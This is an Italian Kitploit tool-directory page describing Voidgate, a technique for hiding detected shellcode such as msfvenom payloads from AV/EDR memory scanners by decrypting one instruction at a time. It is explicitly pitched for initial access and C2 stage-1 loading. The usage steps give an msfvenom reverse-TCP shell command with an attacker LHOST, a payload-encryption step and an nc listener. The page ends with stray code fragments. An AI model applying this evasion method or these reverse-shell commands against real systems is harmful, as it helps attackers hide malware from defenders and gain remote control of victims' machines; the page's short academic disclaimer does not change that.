Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Voidgate — A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page. | Kitploit
Strumenti/GitHubGitHub/vxcrypt0r/voidgate
IDS/IPS EvasionShellcodeDebuggersRed TeamingPayload DevelopmentAdversarial Attack
GitHubvxcrypt0r/voidgate

Voidgate

Vedi Repository
599842 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

A technique that can be used to bypass AV/EDR memory scanners. This can be used to hide well-known and detected shellcodes (such as msfvenom) by performing on-the-fly decryption of individual encrypted assembly instructions, thus rendering memory scanners useless for that specific memory page.

Condividi

VOIDGATE

Descrizione:

Una tecnica che può essere utilizzata per bypassare gli scanner di memoria AV/EDR. Può essere usata per nascondere shellcode noti e rilevati (come msfvenom) eseguendo decrittazione al volo di singole istruzioni assembly crittografate, rendendo così inutili gli scanner di memoria per quella specifica pagina di memoria.


Come funziona:

Questa tecnica crea una regione di memoria PAGE_EXECUTE_READWRITE in cui verranno memorizzate le istruzioni assembly crittografate. Lo shellcode sarà avvolto in un po' di padding. Il programma imposterà un Hardware Breakpoint (HWBP) sull'entrypoint dello shellcode.

Successivamente, il programma installerà un Vectored Exception Handler (VEH). Questo VEH agirà fondamentalmente come un debugger, eseguendo il codice passo-passo, leggendo il registro instruction pointer (RIP) per ogni eccezione SINGLE STEP ricevuta dal VEH e decrittando i successivi 16 byte (lunghezza massima di un'istruzione assembly x64) a cui punta RIP. Il VEH crittografa anche nuovamente l'istruzione precedentemente decrittata, assicurando che il resto dello shellcode rimanga sempre crittografato, ad eccezione della singola istruzione assembly attualmente in esecuzione. Dopodiché, continua l'esecuzione, con il TRAP FLAG configurato nel registro Eflags. Questo garantisce che anche la successiva istruzione assembly inneschi un'eccezione di breakpoint gestibile dal VEH.

Dopo l'installazione del VEH, l'esecuzione del thread principale verrà reindirizzata all'entrypoint del payload. Quando l'HWBP verrà innescato all'entrypoint, il VEH si fermerà su ogni istruzione assembly eseguita, decritterà la successiva istruzione assembly e crittograferà la precedente istruzione decrittata, salvata come variabile globale.

In questo modo, fondamentalmente una singola istruzione assembly viene decrittata alla volta, mentre il resto del payload rimane crittografato.


Limitazioni:

NOTA: Questa tecnica è ideale per ottenere un accesso iniziale utilizzando uno shellcode di base come msfvenom o reverse shell personalizzate. Può anche essere usata come payload iniziale di stage 1 che scarica il resto del payload dal server C2.

NOTA: Questa tecnica non è compatibile con tutti i payload (come i reflective loader). Di seguito è riportato un elenco delle limitazioni attuali:

  • 1.) Poiché il VEH scatterà per OGNI ISTRUZIONE ASSEMBLY eseguita nello shellcode, la velocità di esecuzione dello shellcode verrà drasticamente ridotta. Per ogni istruzione assembly eseguita dalla CPU, il VEH eseguirà almeno altre 300 istruzioni ASM per effettuare la decrittazione, la crittografia e il ripristino dell'esecuzione del thread principale. Se lo shellcode è ottimizzato per una dimensione ridotta piuttosto che per le prestazioni (come msfvenom), l'esecuzione del payload sarà più lenta. Può richiedere oltre 15 secondi (a seconda della CPU) per eseguire un MSFVENOM. Questo accade perché lo specifico shellcode usato da msfvenom sacrifica le prestazioni per ottenere una dimensione del payload inferiore.
  • 2.) Se lo shellcode chiama NtCreateThread o uno qualsiasi dei suoi wrapper in Kernelbase.dll con l'entrypoint all'interno dello shellcode, il payload non funzionerà poiché il VEH non scatterà per l'esecuzione di quel thread, non essendoci nessun HWBP installato all'entrypoint del thread appena creato. (Lavori in corso - verrà implementato ulteriormente in questo repo)
  • 3.) Se lo shellcode contiene valori/variabili al suo interno (ad esempio, la stringa grezza "powershell.exe" referenziata tramite un offset in una chiamata a WinExec WINAPI) o alcuni numeri salvati a un offset, e lo shellcode tenterà successivamente di caricarli o referenziarli da qualche parte, il programma non funzionerà poiché quella specifica variabile o stringa e il VEH non la decritta. Se lo shellcode inserisce tali argomenti nello stack tramite istruzioni assembly ( per inserire "AAAAAAAA" nello stack da usare in una chiamata a una funzione), questa tecnica funzionerà. (Lavori in corso - verrà implementato ulteriormente in questo repo)

Utilizzo:

Come riprodurre il POC:

  • 1.) Crea il tuo payload msfvenom:
root@kitploit:~
 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
  • 2.) Usa XorEncryptPayload.exe per crittografare il payload con XOR
root@kitploit:~
./XorEncryptPayload.exe C:\Path\to\shell.asm
  • 3.) Aggiorna la variabile che contiene lo shellcode all'interno del main.cpp del progetto Voidgate
  • 4.) Assicurati che la chiave xor corrisponda tra l'encryptor e il progetto Voidgate
  • 5.) Assicurati che il tuo listener sia in ascolto sulla macchina dell'attaccante:
root@kitploit:~
nc -nvlp 443
  • 6.) Esegui Voidgate.exe

Demo:


Disclaimer

Questo repository è a scopo accademico, l'uso di questo software è di tua responsabilità.

Scarica lo strumento
verrà crittografata
push 0x4141414141414141